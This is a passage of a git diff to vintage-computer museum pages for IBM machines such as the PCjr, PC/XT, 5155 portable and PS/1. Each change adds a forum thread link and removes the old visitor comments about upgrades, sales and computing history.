test that too.\ - Also, you could shift the entire screen left/right with Control-Alt-LeftArrow and Control-Alt-RightArrow. - - Since the PCjr didn't have NMI, you couldn't enter keystrokes into the keyboard buffer while disk access was occuring. It resulted in an annoying "beep" - there were some third-party devices that you could get to avoid this. I had a cartridge which had a small buffer to "emulate" NMI, and also had keyboard status lights (CapsLock, ScrollLock, and something else I can't remember). - - I don't have my PCjr anymore, but I have lots of good memories from the time. I had 768k of RAM, a 720K floppy drive (PC Enterprises), had done the Tandy graphics mod, had the "thin font" ROM modification installed, NEC V20 9.54Mhz CPU upgrade, and had the status/NMI cartridge I mentioned above. - - I once wrote a small utility called JrSound that would switch one of the registers to make certain Tandy 1000 games that played without sound on the PCjr actually have sound. Unfortunately, I can't find it on the 'net anywhere... If someone happens to have this utility, I'd appreciate you sending me an email. I'm just feeling nostalgic... - - Cartridge BASIC ruled... though it saved files in a strange IBM-only way unless you saved with ,A (I think that was the switch...) - - I ran DOS 2.1, 3.1, 3.3, and 3.33 on my PCjr.\ - I had a Mouse Systems optical mouse that required a special metal mousepad that had a grid of red/blue lines on it and PCjr ColorPaint cartridge. - - Had two PCjr joysticks too. The PCjr joysticks had little switches that would disengage the auto-centering for each axis. - - I had some football game cartridge that used the PCjr's 3-voice sound for speech synthesis too. It'd say "It's good" or "Touchdown" and have some simulated crowd applause. It was so high-tech at the time. =) - - author: Robert Luther (Earth) - date: Sunday 12th May 2002 - text: I own 5 still working PCjr's. one was fixed up and has a external 4.3 gig hard drive and a CD-rom. it even boots from the hard drive. also the speed of this computer has been speed up to 9.54 mhz. also i have a large colection of software that runs on the jr including WINDOWS 3.0. I also have converted my 5.25 360k drive over to a 3.5 720k systemi am still aquireing old hardware for the jr and am looking for a mega board. this brings the PCjr's memory up to 1736kram ( most of the memory can be used for a ram disk) - - author: GriffJon (USA) - date: Tuesday 5th March 2002 - text: The PCjr could handle most DOS of it's era that you put on the floppy during boot. I ran 1.1, 2.1 and 3.1 on it at various stages (to support various games). It could also take an analog joystick. oc_id: 186 source: url: https://web.archive.org/web/20230130041031/http://www.old-computers.com/museum/computer.asp?c=186 diff --git a/content/museum/ibm-pc-jx.md b/content/museum/ibm-pc-jx.md index b0826184..59355013 100644 --- a/content/museum/ibm-pc-jx.md +++ b/content/museum/ibm-pc-jx.md @@ -71,6 +71,7 @@ params: tabs: - photos - adverts + forum_thread: 197 photos: - title: IBM JX-5 subtitle: '' @@ -108,45 +109,6 @@ params: subtitle: '' text: Thanks to [P.KATSU](http://club.pep.ne.jp/~p.katsu/pasocata/index.html) for this picture image: /media/museum/pubs/ibm_pc-jx_pub-jp_1.jpg - comments: - - author: SpidersWeb (New Zealand) - date: Wednesday 4th May 2016 - text: |- - I have three of these, and they''re awesome little machines but a lot more trouble than many people might suspect. - - Good:\ - \- keyboard is fantastic\ - \- floppy interface is standard 34 pin\ - \- stylish\ - \- jr graphics and audio\ - \- IBM did sell a cluster option that let you network them off an XT/AT system, but I''ve never seen one in person. - - Bad:\ - \- 3.5" drives (unless you get the 86/87 model) are double stepped by the BIOS - providing 360KB but being incompatible with any standard computer\ - \- 3.5" drives are slightly taller than modern 3.5" drives making it hard to source replacements that look nice\ - \- expansion is very limited, a small range of IBM cards available and once you add memory+serial you''re out of slots and need to buy an expansion unit. No sidecars. 512KB RAM max.\ - \- high resolution mode and Kanji support was only available on the Japanese model. Wont fit on AU/NZ model as PSU is in the way.\ - \- still boots up in 40 col mode for some reason\ - \- clips that hold the case together just fall apart with age when you look at them - - Actually quite a bit of work dealing with these, but I love mine nonetheless. - - author: Liliana (Australia) - date: Wednesday 15th February 2012 - text: I have OS, software, but the price this guy is giving is a joke!!! - - author: Liliana (Australia) - date: Wednesday 15th February 2012 - text: I have OS, software, but the price this guy is giving is a joke!!! - - author: Liliana (Australia) - date: Wednesday 15th February 2012 - text: I have OS, software, but the price this guy is giving is a joke!!! - - author: Arron DM (---) - date: Monday 19th August 2002 - text: |- - Does anybody know where I can find an OS and software for a black IBM PC JX I recently brought for $5NZ ($2.50 for Americans) ?\ - Please reply if you know of any info. - - Thanks,\ - Arron DM. oc_id: 187 source: url: https://web.archive.org/web/20221203214528/http://www.old-computers.com/museum/computer.asp?c=187 diff --git a/content/museum/ibm-pc-model-5150.md b/content/museum/ibm-pc-model-5150.md index d924bd04..d13494a0 100644 --- a/content/museum/ibm-pc-model-5150.md +++ b/content/museum/ibm-pc-model-5150.md @@ -67,6 +67,7 @@ params: - adverts - software - links + forum_thread: 284 photos: - title: INSIDE PC subtitle: '' @@ -177,141 +178,6 @@ params: - title: Vintage IBM url: http://www.vintageibm.net text: site is dedicated to the preservation and restoration of the IBM 5150 line of computers - comments: - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: Email is jaya.buckwheat@gmail.com - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: I am looking for one of these at a cheap price, I will pay up to 100$ including shipping if I have to pay for it - - author: Rogelio (México) - date: Saturday 9th November 2013 - text: |- - Hey, I´m into a project.\ - Looking for an old IBM 515O STYLED PC AND SCREEN.\ - Don´t need to be working, just need the enclosures: PC and the screen ones.\ - (The PC elcossures should have the floppy readers) - - author: Willem Weijgertse (The Netherlands) - date: Friday 13rd July 2012 - text: |- - I have two pc''s of the model, with monochrome monitors but no original keyboards.\ - One with two 5,25 inch drives, 512kb Ram.\ - And one with a 10 Mb harddisk en a 5,25 inch drive. - - author: Teun Raaijmakers (Netherlands) - date: Wednesday 24th August 2011 - text: |- - i found al lot of 5,25inch drives for this model IBM.\ - so if someone is looking for 1 or 100 i have them.\ - teun1984 (a) hotmail . com - - author: Laura (USA) - date: Tuesday 12th July 2011 - text: |- - I''ve listed some old Sligh office furniture catalogs on Etsy, which have a photo of what I believe is this same computer. Can anyone confirm? - - Here''s the link to the listing. http://www.etsy.com/shop/lauraslastditch - - author: PROCOMP_ARG (ARGENTINA) - date: Thursday 12th May 2011 - text: |- - This was my first PC repaired by my hands and with only basic aknowledge in electronics.\ - The 5150 was set at our Library and an memory error mesage appeared when you powered on.\ - It had a bad memory chip and I didn´t know how to fix it.\ - So I found the solution in Brenner´s book which deserve my respects at all. - - author: Thom Anderson (USA) - date: Saturday 18th September 2010 - text: |- - "Jeffrey H. Ingber" is remembering history wrong. I built literally thousands of machines when working for resellers in the Los Angeles area. You could order a PC with no drives, one drive, or two drives. The XT came out of the box with a 5 1/4" drive and a 10mb hard drive. You could order them that way right out of the box, and take them home. - - Now, what alot of operations did was customize. Pull out the single drives and stack two 1/2 height floppy drives. Order the XT with no hard drive and put in a 20 or 40mb hard drive with its own controller. - - The idea that you "couldn''t" go in and get from IBM a machine ready to run out of the box is hogwash. People did it all day, every day. The biggest sellers for home use were two drive PCs from the factory, and standard XTs with the hard drive from the factory. Hughes Aircraft, Rockwell and others would order XTs without the hard drive and have third party Seagates put into them$by the THOUSANDS. Our config center would crank out hundreds of machines over a weekend, so I know what I am talking about! - - author: Raindance Rob (UK) - date: Saturday 31st July 2010 - text: my old man brought one of these from work back in about 93-94 for £50 i had it in my room $ spent much of my childhood using one for word processing $ playing games. in order to play a game or load a floppy you had to enter a command as they wouldnt just run otherwise. our one had on floppy drive $ i wasnt much for the screen as it would get whatever you had been doing burned onto the screen, plus it used to give me headaches which no other monitor has ever given me lol i owe alot to these PC''s as they started my interest in computers which i still have today $ has been a lifelong hobby. unfortunately when we moved house it got left behind in our old house $ i do miss it alot, i would definitely buy another one - - author: Alessio Di Domizio - date: Sunday 8th November 2009 - text: |- - I''ve done some extensive research about the MS/DRI debate. As Tom Rolander (DRI) states in many interviews, DRI was indeed interested in having their OS in the IBM PC. Gary Kildall and Rolander did meet IBM executives, there were some early licensing disputes (it seems that IBM wanted to buy the whole CP/M 86, while DRI obviously preferred a licensing scheme). IBM then involved Microsoft to have an OS ready for the PC launch. - - Microsoft proceeded with buying QDOS from Tim Paterson - who wrote it in 6 weeks QDOS - many suspect it to be a CP/M ripoff. - - After some legal threats from DRI against IBM, both a completely rewritten MS'' QDOS (due to bugs, IBM had to rewrite it fron scratch), branded PC-DOS, and CP/M were given as an option to PC buyers. - - As DRI''s Rolander recalls, when the IBM PC went on sale, CP/M option was priced $ 240, while Microsoft-IBM PC-DOS was priced $ 40. - - author: Bob Teodori (USA) - date: Tuesday 19th May 2009 - text: |- - I had one of these old beasts. I had the Hercules Graphics card and an Amdek amber-on-black monochrome monitor. It did indeed have the 8-bit slots but there were only 6 of them. The XT had 8. Most of the chipsets on the board were made by texas instruments although I do also remember seeing hitachi and samsung chips as well. I remember this because when I was 12, I took the thing apart right down to the screws and rebuilt it again. This computer is the reason I know how to build PCs today. (Like my Phenom II system I just built last week! LOL!) The upgradability was fantastic for its day and at the very end, I had an AdLib sound card and an ATi EGA Wonder. Ahhh, the carefree days of my youth. I actually even ran my BBS on it with a 2400bps modem for over a year. \*grin\* my BBS, Seventh Heaven can currently be found on the historic area code 416 BBS List.\ - Oh yeah, one more thing. It took a full 2 minutes for the thing to boot once you managed to get your hand to the back of the case to flip the power switch. - - author: David E Wyant is not completely correct - date: Saturday 4th April 2009 - text: Bill Gates didn''t have an OS so he SENT Jack Sams to see Gary Kildall about CP/M. When Gary''s wife Dorothy turned them away, Bill realized that he needed to get an OS or his deal with IBM might fall apart. - - author: David E Wyant (USA) - date: Saturday 4th April 2009 - text: The reason IBM did not go with CP/M is that two guys in IBM garb showed up at the CP/M location in Sunnyvale (which was a home) to discuss that IBM was going to build a PC. The husband wasn''t home and, before they would even tell the wife who they were, they asked the wife to sign a 22 page disclosure (standard for IBM when working with other OEMs). She was so overwhelmed and confused that she threw them out. They then called back to their manager who suggested that, since they were already on the west coast, they go up to talk to "that guy who wrote the basic". - - author: T Heavey (Olympia, WA) - date: Saturday 12th August 2006 - text: |- - In 1983 we were a new government program and my boss, a great visionary - who none-the-less considered a pencil to be a portable printer, my boss knew this "PC Thingy" would be important. Because I had been playing around at home with TRS-99 he appointed me to be "the computer guy." - - We purchased an IBM PC with an 8086 chip. It was the second PC in the entire State Employment Agency. Two floppy drives and one 10 megabyte hard drive in the expansion chasis. (During design phase I requested a 20 megabyte hard and I was told by our "expert" - '10 megabytes is more than you will use in a life time.')\ - I later added a second 10 megabyte hard drive in the expansion chasis. dBase II was the main piece of software I ran, with some word processing with WordStar.\ - By using the PC to organize data collection we were able to demonstrate the effectiveness of our programs and we continue to serve the people 23 years later.\ - I have retired now, but thousands and thousands of young people owe a great start in their working life to vision of that one guy and the use of the IBM PC. - - author: Jonathan Hubbard (Utah) - date: Friday 28th July 2006 - text: I own one of these computers it has never been used and is like in prestine shape does anyone know how much I could sell it for. - - author: SirOrlando (Utah (USA)) - date: Tuesday 25th April 2006 - text: |- - To John Cowley: - - This reply comes a year later, but regarding "Non-System Disk or Disk Error," the answer is quite simple: - - In order to boot up properly, an operating system is required. As these computer systems only came with floppy drives (originally), you must start the computer with a "Boot Disk" in the first of the two floppy drives. - - Assuming the disk has the necessary system files on it, and it has not become corrupt, then they will allow the operating system to load into memory. If successful, you will come up with a DOS command prompt. - - During a time before the success of the mouse, the IBM PC and compatible computers ran completely from a command prompt. From here, you can swap diskettes, enter commands, and launch programs. But without a "System Disk," to tell the machine how to talk to it's hardware and peripherals, the computer is unusable. - - author: Rick (Sussex, United Kingdom) - date: Thursday 13rd April 2006 - text: 'Back in the early nineties I bought one of these second hand and wrote my entire four years'' worth on university work on it! Mine had a hardcard - a 30MB HDD on an expansion card - in it, which made things a lot easier. Those were the days: DOS and WordPerfect 5.1 !!!' - - author: Renzin (USA) - date: Wednesday 3rd August 2005 - text: My dad used to use these at his job. The drives were so primitive, so they liked to eat disks. Can you attatch a 3.5 floppy on this? - - author: john cowley (virginia) - date: Saturday 12th February 2005 - text: |- - i was working with the 5150 personal computer, and every time I try to start it up it says: "Non-System or system disk error, press any key when ready."\ - Do any of you'll know whats wrong w/ it and how to fix it? - - author: javier (canary islands) - date: Thursday 15th July 2004 - text: this computer was the origin of the wold´s most succesfull computer architecture - - author: Matjaz (Ljubljana) - date: Monday 26th April 2004 - text: To Maja - IBM-PC is copyrighted, but it is very hard to prevent somebody to do some reverse-engineering and build a 100% compatible machine from scratch. In IBM's case, that was Compaq, I belive. IBM even sued them over copyright infringment of the BIOS code, but they lost, as we can all see. And rightfully so - reverse-engineering is not the same as copying and if done in the spirit of "fair use" - perfectly legal. - - author: Maja (Ljubljana,Slovenia) - date: Saturday 10th May 2003 - text: |- - Hi. Does anyone happen to know, why IBM did not patent the original PC? I mean, how did it happen that everybodey started cloning the thing. Was that IBM's intent or did it happen by accident?\ - If anyone knows,I'd much appreciate the info.\ - Tnx.\ - M - - author: Yves Mc Donald (Montreal, Canada) - date: Saturday 7th September 2002 - text: |- - Microsoft Flight Simulator 2 was the best hardware compatibility test software to evaluate IBM PC clones!\ - The PC keyboard had an excellent feei but was VERY noisy and CGA output in text mode was flickering when scrolling text. MDA display was eye-pleasing and character generator supported accented letters; great tought for non-English users! - - author: Newtony (Belgium) - date: Tuesday 12th February 2002 - text: |- - Hi Jiri,\ - try the two links below, they have tons of old games ! - - http://www.dosgamesarchive.com/download/list.php\ - http://www.theunderdogs.org/ - - author: Jiri (British Columbia, Canada) - date: Wednesday 30th January 2002 - text: Anyone know where I might be able to find some interesting software for my IBM-PC 5150. I have DOS 3.1 and 3.3 disks but am looking for old programs and games etc. Thanks... related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/ibm-pc-portable-model-5155.md b/content/museum/ibm-pc-portable-model-5155.md index d95400ef..05b71c01 100644 --- a/content/museum/ibm-pc-portable-model-5155.md +++ b/content/museum/ibm-pc-portable-model-5155.md @@ -64,35 +64,11 @@ params: value: 3811 (France, 84) tabs: - links + forum_thread: 442 links: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Frank (The Netherlands) - date: Tuesday 22nd June 2010 - text: I have to concur with Curtis. The motherboard in used the 5155 was an XT board. - - author: Curtis McCain (TX/USA) - date: Sunday 24th August 2008 - text: |- - The entry is WRONG! - - The motherboard used in this unit was a standard XT motherboard with 8 slots. - - author: Erich Hespenheide (Earth) - date: Tuesday 6th November 2007 - text: I still have one of these, complete with documentation and canvas case. Hardware mods on my machine include an 286 (31Mhz equivalent of XT) motherboard; 1Mb of memory; SCSI 80 Mb hard disk, PCjr monitor; power switch for internal monitor; and a 1200 baud modem. It worked a few years ago the last time I tried powering it up. - - author: Matt (US) - date: Sunday 20th August 2006 - text: I've seen them sold for $250 plus - - author: Earl (Portland, OR) - date: Saturday 25th December 2004 - text: I also have a 5155. I recently put an AST SixPak expansion card with 384 Kb into the unit. Now it's a completely functional, 640K IBM system. Runs great. It was given to me by a friend. When I received it, it was very close to brand new. What a find! I enjoy taking it out and firing it up from time to time. Another friend gave me a load of old IBM XT vintage software. It's just like the good ol' days! - - author: Dave (Rhode Island) - date: Wednesday 1st September 2004 - text: |- - I have an IBM Portable Computer Model 5155 in working condition. This thing is cool, does it have a value? - - Dave related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/ibm-pc-xt-286.md b/content/museum/ibm-pc-xt-286.md index 051b41da..72235a38 100644 --- a/content/museum/ibm-pc-xt-286.md +++ b/content/museum/ibm-pc-xt-286.md @@ -9,45 +9,11 @@ params: company_name: IBM tabs: - links + forum_thread: 270 links: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Dinis - date: Sunday 26th July 2020 - text: If the video adapter is CGA the VRAM is 16 kB. - - author: williamscommerce (UK) - date: Wednesday 27th July 2011 - text: We have one of these still running in our office, complete with original EGA screen. It runs every day and we use it for visitors to sign in on with a database we have created... great fun and still useful. - - author: Jose (U.S.A) - date: Saturday 18th December 2010 - text: |- - I have an IBM PC XT 286 and would like to know what kind of monitor iit can use and if they are still available? - - Thank you - - Jose - - author: Kyle (South Carolina) - date: Monday 19th April 2010 - text: |- - This looks familiar. My old man works for IBM and from 1986 until about 1992 I had an XT 370 sitting in my living room. Very similar to this but had a 10 MB hard drive, was only capable of a 4 color CGA, This one came with 128k ram but we had an expansion card to bring it to 640k. It must have weighed 80lbs. - - We also had a 2800bps modem connected to it with a receptacle for the phone hand set, complete with a touch tone generator attached to the mouth piece to enable IBM dial-in. - - In 91 we added a PS/2 mod 60 laptop and PS/2 Mod 80 to the collection. All running OS/2, very expensive and very close to useless. - - author: Mike Rogers (USA) - date: Monday 11th February 2008 - text: I forgot all about these things! These were poor sellers at best due to their incompatibility with full height cards (as Mr. Powell stated below). We used to leave most (if not ALL) of the case screws out and 'adjust' the cover to accomodate them! Just like the AT, you need a setup disk to get into the BIOS settings since the BIOS does not have the software built into it. - - author: Mark Powell (UK) - date: Wednesday 7th February 2007 - text: I worked for an IBM dealer from '84 to '87. When the XT-286 came out, we had problems with a lot of the expansion cards. The AST Rampage for example was a 'full height' card designed for the 'new' PC-AT machines. Because they'd squeezed the AT motherboard into an XT chassis, they Rampage's were about 1/4" too tall to fit. We had to quite literally use a plane to take off as much of the top of the Rampage's PCB as possible to make it fit!! - - author: Andrew (Russia) - date: Tuesday 30th January 2007 - text: Could you please help me! I would like to know how do I get into "BIOS setup" on this computer. - - author: Samuel Coleman (Canada) - date: Friday 27th August 2004 - text: I still have a PC XT 286! This was the computer I learned my stuff on. The monitor (and I think the keyboard, too) are different on my computer, but it is fine. I'm running MS-DOS 5.2, and am amazed the old thing still works, and - you're going to hate me for this - I'm making the beast into a Karaoke machine! related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/ibm-pc-xt-model-5160.md b/content/museum/ibm-pc-xt-model-5160.md index 88492752..bbcda8e0 100644 --- a/content/museum/ibm-pc-xt-model-5160.md +++ b/content/museum/ibm-pc-xt-model-5160.md @@ -69,6 +69,7 @@ params: tabs: - photos - links + forum_thread: 296 photos: - title: PC/XT CASE subtitle: '' @@ -86,146 +87,6 @@ params: - title: Build your own 1000 MHz PC-XT! url: http://www.fingerlinge.de/bernd/ibmxt text: All necessary steps to convert your old PC-XT into a modern machine - comments: - - author: Merv B (US) - date: Wednesday 10th February 2021 - text: I have an IBM XT 5160 I would like to sell. Desktop model, with monochrome monitor, and keyboard. Original boxes. With 5.25 floppy diskettes containing DOS, as well as several additional programs. Has been in storage for over 25 years. In Colorado Springs area. Would prefer not to ship, as that would add significant cost for the buyer. If interested, contact me at mervenita@msn.com. - - author: Cuvtixo (United States) - date: Sunday 3rd January 2021 - text: Jay, you''re crazy. Shipping costs alone easily go over $100. It''s all metal and heavy, yet also easily damaged. Going rate is $300, no disks, no monitor. It''s long past just being an underpowered PC. Its a collectible piece of history. If you are going to ask here, don''t insult people with that kind of offer. - - author: Jay (Washington State USA) - date: Tuesday 22nd September 2020 - text: |- - I am looking for one of these at a cheap price, I will pay up to 100$ including shipping if I have to pay for it\ - Email is jaya.buckwheat@gmail.com - - author: Bill - date: Sunday 30th July 2017 - text: |- - "I have an old IBM XT Model 5160 that I’d like to sell, it is very rare in that it is brand new in the original IBM boxes never used. It has the desktop tower, monitor, keyboard, and software all new in original IBM boxes. Also comes with many software programs also new in the boxes. Email me for pictures and price. Local pickup only, I’m located in Washington State USA. email: BillB11@mail.com" - - This is Bill again my IBM XT Model 5160 has sold thank you. - - author: Nick (West Springfield/United States) - date: Thursday 9th March 2017 - text: I have an IBM 5160 XT for sale. It in excellent condition, with the original monitor (monochromatic) and keyboard (buckling spring capacities switches). Location is west Springfield MA. Message me if you are interested. - - author: Bill (USA Washington) - date: Monday 6th February 2017 - text: 'I have an old IBM XT Model 5160 that I’d like to sell, it is very rare in that it is brand new in the original IBM boxes never used. It has the desktop tower, monitor, keyboard, and software all new in original IBM boxes. Also comes with many software programs also new in the boxes. Email me for pictures and price. Local pickup only, I’m located in Washington State USA. email: BillB11@mail.com' - - author: Hristijan (Macedonia ) - date: Monday 2nd January 2017 - text: I have ibm pc still work prfect . Model 5160 made in geenkong Scotland . And i want to sell it if some one is interesting pm at mail m_hristijan@hotmail.com - - author: Dr-D - date: Monday 4th November 2013 - text: I bilt my first computer whith a 8080 famely whith tineybasic on the chip and used a radio shack wire warp gun and goog old BITE magzine now i desing hvac system for seafood plants :)) - - author: Dr-D - date: Monday 4th November 2013 - text: |- - sure miss thos days i had a 30 mb rodine hd lol\ - I put ibm basic on rom,s and then added the letters ibm in the bios so the clones whoud run ibs softwear\ - miss thoes days - - author: Dr-D (usa) - date: Monday 4th November 2013 - text: back then my ibmpc had 640 mem 10 mzh mother board - - author: Pascal (France) - date: Tuesday 18th June 2013 - text: |- - Hello,\ - I have a complete PC XT 5160 and I would like sell it but I don''t know where to sell it ? Ebay ? Which is a right price ?\ - I don''t use it since 1985 but it works perfectly !!! - - author: Ed (United Kingdom) - date: Monday 21st January 2013 - text: |- - Andrew Jenner has hooked up an XT machine to the internet, so you can run code on it: see\ - http://www.reenigne.org/xtserver/\ - (There''s no storage or OS: your code is loaded via the keyboard port by a bootstrap loader which allows character I/O) - - author: Phil Culmer (UK) - date: Wednesday 1st August 2012 - text: |- - I''ve still got one of these - my first PC. it got me a job as a programmer, after the guy that did the support for my Dad''s company say the Enigma emulator that I wrote on it.\ - Unfortunately, the power supply seems to have packed up$ I''d love to get it running again, even if only to use it as a terminal and play some old games. - - author: Lucas Machado (Brazil) - date: Tuesday 17th April 2012 - text: |- - Hello, anyone from Brazil have a XT like that? - - I really need another part, a memory card to a Tandy 1000 EX. - - please send me a email: - - lucasdaytona@yahoo.com.br - - regards! - - Lucas - - author: Lucas Nascimento (Brazil) - date: Monday 17th January 2011 - text: |- - I have a IBM PC XT but I don$t know the Model, there$s a way to find out? and how much I can sell it nowadays? And someone have the disk with O.S.?\ - Thanks in advance. - - author: Mike Griffith (USA) - date: Sunday 23rd December 2007 - text: I have one of the first harddrives from an IBM PC-XT. It has a whopping 4M capacity! I have never read any info on this option. My machine came with 2 3.5" FDD, and the 4 Meg can. It was a 8088 w/ 8087 and 128K ram. - - author: memsys (holland) - date: Thursday 5th July 2007 - text: |- - man i still have ine of these but i'm not sure if it's the 8088 or the 80286\ - it's eating a little dust now but i do still love it if i only had more programs for it - - author: Abir Stolov (Israel) - date: Sunday 9th April 2006 - text: |- - I just want to thank debs, I has an old 5.25" disk with SSA and i wanted to download it, the his post is the only link between SSA and the name of the game - of the Ancient Empires - which i found here http://www.abandonia.com/games/en/419/ChallengeofAncientEmpires.htm\ - Thanks. - - author: Olli (Germany/USA) - date: Tuesday 28th February 2006 - text: |- - The best Computer I've ever owned...a real big machine, that was so reliable, stable and a personality. Unforntunately I sold mine 13 years ago...I can't believe that I really did it..:-( - - Have fun with the reamining XTs, cherish them and keep the spirit alive! - - A wonderful website - well done! - - author: Robert Santellan (USA) - date: Tuesday 28th February 2006 - text: Sad, but true. It was not long ago that I was first introduced to this old heap of what I now call IBM junk. It was back in 1998 that I first used this computer. I had told a neighbor of mine that I was a huge computer fan, but did not own a computer of my own. Being that she was a giving person, as well as very much out-of-the-know when it came to computers, she promised to give me hers. Overwhelmed with excitement, I could not wait to see it. When I came home, this old thing was sitting square in the middle of my floor. I knew it was old, but out of curiosity, I plugged it in a booted-up. I still remember that premature IBM screen, which lead up to the MS DOS screen. Of course, there was no GUI, and the idea of multi-tasking was none-excisting. Also, I am not sure if they even excisted, but the fact that I did not have a mouse was very annoying when using the MS Paint-like program I had with it. Believe me when I say drawing pictures is no fun with a keyboard. There was no internet - connection, and the Command Line Interface was very irritating at times. This left me wondering what all the hype was about when it was a popular machine. But, believe it or not, this was the family computer for over a year, simply cause it had a printer. But once the ink ran out and we discovered it was damn well near impossible to find a replacement ink ribbon, we decided to buy a new computer. But, I still own that old thing, wondering what the hell to do with it. - - author: CarpeSpasm (jax, Fl) - date: Saturday 21st May 2005 - text: i can pull of some of the programs from my old XT, i have display write 4, NYET (a tetris clone that can run in monochrome), a menu program called MOO, and As Easy AS (a lotus 123 clone), i also have a few other programs if you wanna drop me a line, i can email the to you. email me at ironleg@removethis.gmail.com - - author: debs (brasil) - date: Monday 6th September 2004 - text: |- - hey, - - anyone knows where i can find XT games? i am having a nolstagic moment.\ - i am looking for one called: Challenge of the Ancient Empires!\ - here in brasil it was called SSA.\ - cheers!!!! - - author: carpespasm (Jax, Fl) - date: Saturday 1st May 2004 - text: After looking long and hard, i've finally found another of these great old machines and it's sitting happy in my house playing "nyet", an old tetris clone, and using display write four.i don't plan to let this one go and i want to start my own collection. maybe few early macs, an appleII and a c64, who knows, i may even go for a vms machine if i can find room to keep it. - - author: bob klahn (Sylvania OH) - date: Monday 25th August 2003 - text: |- - Anyone familiar with the Intel Inboard? Converts an IBM PC XT into a 386sx w/2 meg ram. - - Ever see an XT running Windows 3.1? - - author: carpespasm (Jax, FL) - date: Friday 16th May 2003 - text: I've had two of these computers in the past few years, my grandmother gave me 1 as my first computer, and i've been hooked ever since. the first one i had had 420kb ram and a 5mb hdd. i took it apart and was surprised at how much of the case was full, this thing weighs on the order of 40-45lbs, and it was packed SOLID w/ expansion cards, i had no clue what did what or even how to use dos, so i just tore it down a few times over. luckily it had a very good dos tutor program on it that taught me the fundimentals and some advanced uses of dos 4.02 this was the first version of dos to come w/ dosshell, and it showed, the later versions of dosshell were a breez after weilding this beast. ain't it great what can get u started on computers? - - author: Steve Guzzi (New York) - date: Thursday 17th April 2003 - text: This was the first computer I ever owned, and as funny as it is, we were both made the same year (1983)! It was originally my older brother's computer, but all it did was sit on the floor of his closet. When I as about seven or eight I asked him if I could have it, but he wouldn't let me put it in my room unless I let him have the 20-inch television set back (it was taken away from him as punishment by our parents, and they had let me have it for some time). I agreed, gave him the TV, got the computer, and have been hooked on technology ever since. Best trade I ever made. - - author: Akis (Greece) - date: Monday 16th September 2002 - text: I'm a young collector of old computers. About a year ago, I found the pieces of an old system packed up in the house of an old friend. It took me some time to identify that it was actually the legendary PC XT and hopefully none of the parts was missing nor broken. So, I modified a 486 box and used an old CGA monitor to bring back from the dead,one of the oldest PCs.I never had a PC XT (always an Amiga fun), but now it's up and running, almost 15 years after it was permanently shut down... I installed MS-DOS 6.0, added it to my network as a DOS client, I'm programming in GW-BASIC and I'm happy to have it in my collection. Although the 20 MB hard disk, has some bad sectors, it still works pretty fine. - - author: B.J. Rowan (Florida, USA) - date: Monday 17th June 2002 - text: In 1986, the IBM PC XT S became my second computer (after the TI-99/4A in 1982). It had the 20 MB hard drive, single 360K 5.25" floppy, and 640K RAM. It was one of the later models equipped with an actual EGA (16 color!) adapter, which pushed the system price somewhere over $4,000. I used this system for six years, playing games, word processing, and writing GW-BASIC programs before buying a 386 in 1992. - - author: Daniel Silen (Earth) - date: Saturday 25th May 2002 - text: I grew up with this computer. The system I used had 192KB of RAM, the 10MB hard drive, a Monochrome Display Adapter, some brand of modem RS232 I think Hayes. It had an AMD 4.77MHz, must of been a newer model. I always begged for a CGA and a color monitor, but my father said they were too hard on the eyes. "Monitors are going to get better and better." he said. So I had to made do with the Monochrome display. I have to admitt, it was quite a crisp display for it's time. "The Trinitron" of the displays. I could not run much with 192KB. Finaly before we gave it away, we put 640KB in it. I remember ordering a cheap $10 Hercules compatible adapter so I could get graphics on it. I was jealous of my friend that had the true Hercules. I remember running PARK.EXE when ever we needed to move the machine. That parked the hard drive's read and write heads so they didn't scratch the disk durring movement for those of you not familar with technology of hard drives back then. It was mainly used - for word processing. - - author: Chris Barry (Earth) - date: Wednesday 13rd March 2002 - text: We had LOTS of the 3270pc model where I worked... we would add the six pack plus cards to bring the memory up to a meg!. I still have at least 1 of the 3270pc's, and a couple six pack cards still in the boxes... brings back memories... related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/ibm-ps-1.md b/content/museum/ibm-ps-1.md index 0db9c58a..c7b5865c 100644 --- a/content/museum/ibm-ps-1.md +++ b/content/museum/ibm-ps-1.md @@ -12,6 +12,7 @@ params: - links - docs - videos + forum_thread: 1239 photos: - title: IBM PS/1 subtitle: '' @@ -63,250 +64,6 @@ params: - title: PS/1 TV commercial url: https://www.youtube.com/watch?v=QNQqTA9Pmb8 text: 'Length: 2 min 31 s' - comments: - - author: Keke (Ireland) - date: Saturday 16th July 2022 - text: I am looking to restore an IBM PS/1 2121, as its missing all its software from HDD. But, I also want to replace the quad split screen software stored in ROM, as it is in German. Any ideas how I can replace it with an English version? Thanks - - author: Bill Henderson (USA) - date: Saturday 14th May 2022 - text: 'Ok, so that last link didn''''t work either. If you google this you will find it: www.zonadepruebas.com Restaurando y vitaminando un IBM PS/1 Model 2121. Sorry for the multiple posts.' - - author: Bill Henderson (USA) - date: Saturday 14th May 2022 - text: 'I''''m running an IBM PS/1 2121 now. I upgraded to a 486SX-33 as described at https://www-zonadepruebas-com.translate.goog/viewtopic.php?f$59$t$6184$sid$078a4ebc32f203e564c4e16dca108a4b$\_x_tr_sl$es$\_x_tr_tl$en$\_x_tr_hl$en$\_x_tr_pto$wapp. In addition to this, I was able to improve performance by using the SXL_Control_Util.zip utility at https://www.vogons.org/download/file.php?id$56580. My command line to enable caching is: cyrix.exe -f -b -xA000,64 dram 1300 (the -xA000,64 excludes video memory from caching, which was necessary for me to avoid graphical glitches). I was able to see a decent increase in performance by enabling cache.' - - author: Dennis - date: Monday 27th March 2017 - text: |- - My IBM PS/1 came with 8MB of ram using 30 pin simms, it also came with OS/2 2.0 where I could launch Windows 3.1 inside of it for some extreme slow fun. I want to say the price was closer to 2k near the end of 93. - - Eventually upgraded the 483dx 33 to a amd/cyrix processor, upgraded the motherboard and the ram to 20MB 72pin, added a 28.8 and lots of other stuff before tossing it out - - author: Rose (USA) - date: Sunday 10th April 2016 - text: I see that the price section below is blank. My first and second computers were both IBM PS1. I recall paying about $1100-$1200 